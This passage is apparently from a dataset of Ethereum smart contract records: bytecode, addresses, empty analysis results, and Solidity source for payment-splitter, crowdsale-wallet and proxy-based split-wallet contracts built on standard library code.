15290919084161415612260576060818101516001600160a01b038581166000908152600b60209081526040808320805490950190945583516080810185528281528082018881528186018481529682018481528985526009909352949092209151825460ff19169015151782559251600182015592516002840180546001600160a01b03191691909216179055516003909101555b50505050565b6122703383612968565b61227957600080fd5b612260848484846129c3565b60045481565b6002546001600160a01b031633146122a257600080fd5b815160005b81811015612260576122df8482815181106122be57fe5b60200260200101518483815181106122d257fe5b6020026020010151611d43565b6001016122a7565b6122ef610a58565b81106122fa57600080fd5b6000818152600760205260409020546001600160a01b031661231b57600080fd5b6000818152600760205260409020546001600160a01b031633141561233f57600080fd5b6000818152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b031692820183905260030154606082015290331461239757600080fd5b336001600160a01b0316827f28acecccf2505b8fc9fb62dd064322ee55dae6fa1bbe94df7380fc9e4702362a83606001516040516123d591906135ad565b60405180910390a3606081810151604080516080810182526000808252602080830188815283850183815296840183815289845260099092528483209351845460ff191690151517845551600184015594516002830180546001600160a01b0319166001600160a01b03909216919091179055935160039091015551909133916108fc84150291849190818181858888f19350505050158015612260573d6000803e3d6000fd5b600081815260056020908152604080832080548251601f60026000196101006001861615020190931692909204918201859004850281018501909352808352606094938301828280156125105780601f106124e557610100808354040283529160200191612510565b820191906000526020600020905b8154815290600101906020018083116124f357829003601f168201915b505050505090506000612521611453565b905080516000141561253557509050610876565b81511561256757808260405160200161254f9291906132e6565b60405160208183030381529060405292505050610876565b80612571856129ff565b6040516020016125829291906132e6565b60405160208183030381529060405292505050919050565b6040518060400160405280600b81526020016a43727970746f486f75736560a81b81525081565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205460ff1690565b600d60209081526000928352604080842090915290825290205460ff1681565b600081815260086020908152604091829020825160a081018452815460ff161515815260018201549281019290925260028101546001600160a01b039081169383019390935260038101546060830152600401549091166080820152612673610a58565b821061267e57600080fd5b805161268957600080fd5b60808101516001600160a01b031615806126af575060808101516001600160a01b031633145b6126b857600080fd5b80606001513410156126c957600080fd5b6000828152600760205260409081902054908201516001600160a01b039081169116146126f557600080fd5b60408082015160008481526007602090815283822080546001600160a01b031916339081179091556001600160a01b0384168084526006909252848320805460001901905580835284832080546001019055935192938693909260008051602061367c83398151915291a461276983611e39565b6001600160a01b0381166000818152600b602052604090819020805434908101909155905133929186917f477e60cc1df60b5561da21e0d5b06d0880b119ce4cefa578040520c37a5c81e3916127be916135ad565b60405180910390a46000838152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b03169282018390526003015460608201529033141561226057606090810151336000908152600b60209081526040808320805490940190935582516080810184528281528082018881528185018481529582018481529884526009909252929091209151825460ff191690151517825551600182015590516002820180546001600160a01b0319166001600160a01b0390921691909117905592516003909301929092555050565b600b6020526000908152604090205481565b6000818152600c6020908152604080832080546001600160a01b0319166001600160a01b038781169182179092556007909352818420549151929391169184917f1aa41134ae0ff06a05cfe022d7c14d6888b1e9eeec729e6b0efa5bc2c36f0f3a91a460008181526007602052604080822054905183926001600160a01b038087169316917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a45050565b6000818152600760205260408120546001600160a01b039081169084168114806129ab5750836001600160a01b03166129a0846108a0565b6001600160a01b0316145b806129bb57506129bb81856125c1565b949350505050565b6129ce84848461206e565b6129da84848484612ad9565b6122605760405162461bcd60e51b81526004016129f6906134de565b60405180910390fd5b606081612a2457506040805180820190915260018152600360fc1b6020820152610876565b8160005b8115612a3c57600101600a82049150612a28565b6000816001600160401b0381118015612a5457600080fd5b506040519080825280601f01601f191660200182016040528015612a7f576020820181803683370190505b50859350905060001982015b8315612ad057600a840660300160f81b82828060019003935081518110612aae57fe5b60200101906001600160f81b031916908160001a905350600a84049350612a8b565b50949350505050565b6000612aed846001600160a01b0316612bb1565b612af9575060016129bb565b6000612b7a63150b7a0260e01b33888787604051602401612b1d9493929190613329565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b03838183161783525050505060405180606001604052806032815260200161364a603291396001600160a01b0388169190612bb7565b9050600081806020019051810190612b92919061304a565b6001600160e01b031916630a85bd0160e11b1492505050949350505050565b3b151590565b6060612bc68484600085612bd0565b90505b9392505050565b606082471015612bf25760405162461bcd60e51b81526004016129f690613530565b612bfb85612bb1565b612c175760405162461bcd60e51b81526004016129f690613576565b600080866001600160a01b03168587604051612c3391906132ca565b60006040518083038185875af1925050503d8060008114612c70576040519150601f19603f3d011682016040523d82523d6000602084013e612c75565b606091505b5091509150612c85828286612c90565b979650505050505050565b60608315612c9f575081612bc9565b825115612caf5782518084602001fd5b8160405162461bcd60e51b81526004016129f691906134cb565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612cff5760008555612d45565b82601f10612d1857805160ff1916838001178555612d45565b82800160010185558215612d45579182015b82811115612d45578251825591602001919060010190612d2a565b50612d51929150612d55565b5090565b5b80821115612d515760008155600101612d56565b60006001600160401b03831115612d7d57fe5b612d90601f8401601f19166020016135e1565b9050828152838383011115612da457600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461087657600080fd5b600082601f830112612de2578081fd5b813560206001600160401b03821115612df757fe5b808202612e058282016135e1565b838152828101908684018388018501891015612e1f578687fd5b8693505b85841015612e41578035835260019390930192918401918401612e23565b50979650505050505050565b600082601f830112612e5d578081fd5b612bc983833560208501612d6a565b600060208284031215612e7d578081fd5b612bc982612dbb565b60008060408385031215612e98578081fd5b612ea183612dbb565b9150612eaf60208401612dbb565b90509250929050565b600080600060608486031215612ecc578081fd5b612ed584612dbb565b9250612ee360208501612dbb565b9150604084013590509250925092565b60008060008060808587031215612f08578081fd5b612f1185612dbb565b9350612f1f60208601612dbb565b92506040850135915060608501356001600160401b03811115612f40578182fd5b8501601f81018713612f50578182fd5b612f5f87823560208401612d6a565b91505092959194509250565b60008060408385031215612f7d578182fd5b612f8683612dbb565b915060208301358015158114612f9a578182fd5b809150509250929050565b60008060408385031215612fb7578182fd5b612fc083612dbb565b946020939093013593505050565b60008060408385031215612fe0578182fd5b82356001600160401b0380821115612ff6578384fd5b61300286838701612dd2565b93506020850135915080821115613017578283fd5b5061302485828601612dd2565b9150509250929050565b60006020828403121561303f578081fd5b8135612bc981613630565b60006020828403121561305b578081fd5b8151612bc981613630565b600060208284031215613077578081fd5b81356001600160401b0381111561308c578182fd5b6129bb84828501612e4d565b6000602082840312156130a9578081fd5b5035919050565b600080604083850312156130c2578182fd5b8235915060208301356001600160401b038111156130de578182fd5b61302485828601612e4d565b6000806000606084860312156130fe578081fd5b8335925060208401356001600160401b038082111561311b578283fd5b61312787838801612e4d565b9350604086013591508082111561313c578283fd5b5061314986828701612e4d565b9150509250925092565b60008060408385031215613165578182fd5b50508035926020909101359150565b600080600060608486031215613188578081fd5b833592506020840135915061319f60408501612dbb565b90509250925092565b6000815180845260208085019450808401835b838110156131e05781516001600160a01b0316875295820195908201906001016131bb565b509495945050505050565b6000815180845260208085019450808401835b838110156131e05781511515875295820195908201906001016131fe565b6000815180845260208085018081965082840281019150828601855b8581101561326257828403895261325084835161329e565b98850198935090840190600101613238565b5091979650505050505050565b6000815180845260208085019450808401835b838110156131e057815187529582019590820190600101613282565b600081518084526132b6816020860160208601613604565b601f01601f19169290920160200192915050565b600082516132dc818460208701613604565b9190910192915050565b600083516132f8818460208801613604565b83519083019061330c818360208801613604565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061335c9083018461329e565b9695505050505050565b600060208252612bc960208301846131a8565b60006080825261338c60808301876131eb565b828103602084015261339e818761326f565b905082810360408401526133b281866131a8565b90508281036060840152612c85818561326f565b600060a082526133d960a08301886131eb565b82810360208401526133eb818861326f565b905082810360408401526133ff81876131a8565b90508281036060840152613413818661326f565b9050828103608084015261342781856131a8565b98975050505050505050565b600060608252613446606083018661326f565b8281036020840152613458818661321c565b9050828103604084015261335c818561321c565b901515815260200190565b931515845260208401929092526001600160a01b03166040830152606082015260800190565b941515855260208501939093526001600160a01b039182166040850152606084015216608082015260a00190565b600060208252612bc9602083018461329e565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b90815260200190565b6000848252606060208301526135cf606083018561329e565b828103604084015261335c818561329e565b6040518181016001600160401b03811182821017156135fc57fe5b604052919050565b60005b8381101561361f578181015183820152602001613607565b838111156122605750506000910152565b6001600160e01b03198116811461364657600080fd5b5056fe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e746572ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220287a32972946a7bc30992b0f544157b101e357bddac6e3c0566016e54e175abe64736f6c63430007060033
{"success": true, "error": null, "results": {}}
10,700
0xeDB29640F0B793c2A8DEcB5C4747BEa90580BC51
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor (address[] memory payees, uint256[] memory shares_) payable { // solhint-disable-next-line max-line-length require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive () external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = totalReceived * _shares[account] / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } contract CrowdsaleWallet is PaymentSplitter { /** * @dev Constructs the payment splitting crowdsale wallet */ constructor( address[] memory payees, uint256[] memory shares_ ) PaymentSplitter( payees, shares_ ) {} }
0x6080604052600436106100595760003560e01c806319165587146100a55780633a98ef39146100c75780638b83209b146100f25780639852595c1461011f578063ce7c2ac21461013f578063e33b7de31461015f576100a0565b366100a0577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be770610087610174565b34604051610096929190610438565b60405180910390a1005b600080fd5b3480156100b157600080fd5b506100c56100c03660046103e6565b610178565b005b3480156100d357600080fd5b506100dc6102c5565b6040516100e99190610576565b60405180910390f35b3480156100fe57600080fd5b5061011261010d366004610409565b6102cb565b6040516100e99190610424565b34801561012b57600080fd5b506100dc61013a3660046103e6565b610309565b34801561014b57600080fd5b506100dc61015a3660046103e6565b610324565b34801561016b57600080fd5b506100dc61033f565b3390565b6001600160a01b0381166000908152600260205260409020546101b65760405162461bcd60e51b81526004016101ad90610451565b60405180910390fd5b6000600154476101c6919061057f565b6001600160a01b038316600090815260036020908152604080832054835460029093529083205493945091926101fc90856105b7565b6102069190610597565b61021091906105d6565b90508061022f5760405162461bcd60e51b81526004016101ad9061052b565b6001600160a01b03831660009081526003602052604090205461025390829061057f565b6001600160a01b03841660009081526003602052604090205560015461027a90829061057f565b6001556102878382610345565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b05683826040516102b8929190610438565b60405180910390a1505050565b60005490565b6000600482815481106102ee57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031692915050565b6001600160a01b031660009081526003602052604090205490565b6001600160a01b031660009081526002602052604090205490565b60015490565b804710156103655760405162461bcd60e51b81526004016101ad906104f4565b6000826001600160a01b03168260405161037e90610421565b60006040518083038185875af1925050503d80600081146103bb576040519150601f19603f3d011682016040523d82523d6000602084013e6103c0565b606091505b50509050806103e15760405162461bcd60e51b81526004016101ad90610497565b505050565b6000602082840312156103f7578081fd5b813561040281610603565b9392505050565b60006020828403121561041a578081fd5b5035919050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b6020808252603a908201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260408201527f6563697069656e74206d61792068617665207265766572746564000000000000606082015260800190565b6020808252601d908201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604082015260600190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b90815260200190565b60008219821115610592576105926105ed565b500190565b6000826105b257634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156105d1576105d16105ed565b500290565b6000828210156105e8576105e86105ed565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461061857600080fd5b5056fea26469706673582212205a022c1adfcf84465496224552572a6590458daa79769fe48b2ab37ac4d8f7b064736f6c63430008000033
{"success": true, "error": null, "results": {}}
10,701
0xf8b94cd86fd64bd28b7b4988b718052ded52a849
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } contract Proxy { bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; constructor(address implementation) { StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = implementation; StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = msg.sender; } fallback() external payable { _fallback(); } receive() external payable { _fallback(); } function _fallback() private { address implementation = StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; // from OpenZeppelin/contracts assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } contract ProxyImplementation is Initializable { bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; modifier onlyAdmin() { require(admin() == msg.sender, "Implementation: caller is not admin"); _; } function setImplementation(address implementation) external onlyAdmin { require(AddressUpgradeable.isContract(implementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = implementation; } function admin() public view returns(address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } function setAdmin(address newAdmin) external onlyAdmin { require(newAdmin != address(0), "invalid newAdmin address"); _setAdmin(newAdmin); } function renounceAdminPowers() external onlyAdmin { _setAdmin(address(0)); } function _setAdmin(address newAdmin) private { StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } } contract SplitWallet is ProxyImplementation { uint256 _denominator; uint256[] _numerator; address payable[] _recipient; function init( uint256 denominator, uint256[] memory numerator, address payable[] memory recipient) public onlyAdmin initializer { _denominator = denominator; _numerator = numerator; _recipient = recipient; uint256 totalNumerator = 0; for (uint256 i = 0; i < numerator.length; ++i) { totalNumerator += numerator[i]; } require(totalNumerator == denominator, "numerators don't add up to denominator"); } receive() external payable { } function payOut() public { _payOut(address(this).balance); } function _payOut(uint256 total) private { uint256 remaining = total; for (uint i = 0; i < _recipient.length; ++i) { uint256 cut = (total * _numerator[i]) / _denominator; require(cut <= remaining, "not enough remaining to deduct"); remaining -= cut; (bool success, ) = _recipient[i].call{value:cut}(""); require(success, "Transfer failed."); } } function setPayoutSplits( uint256 denominator, uint256[] memory numerator, address payable[] memory recipient) public onlyAdmin { _denominator = denominator; _numerator = numerator; _recipient = recipient; } function getPayoutSplits() public view returns( uint256 denominator, uint256[] memory numerator, address payable[] memory recipient) { return (_denominator, _numerator, _recipient); } }
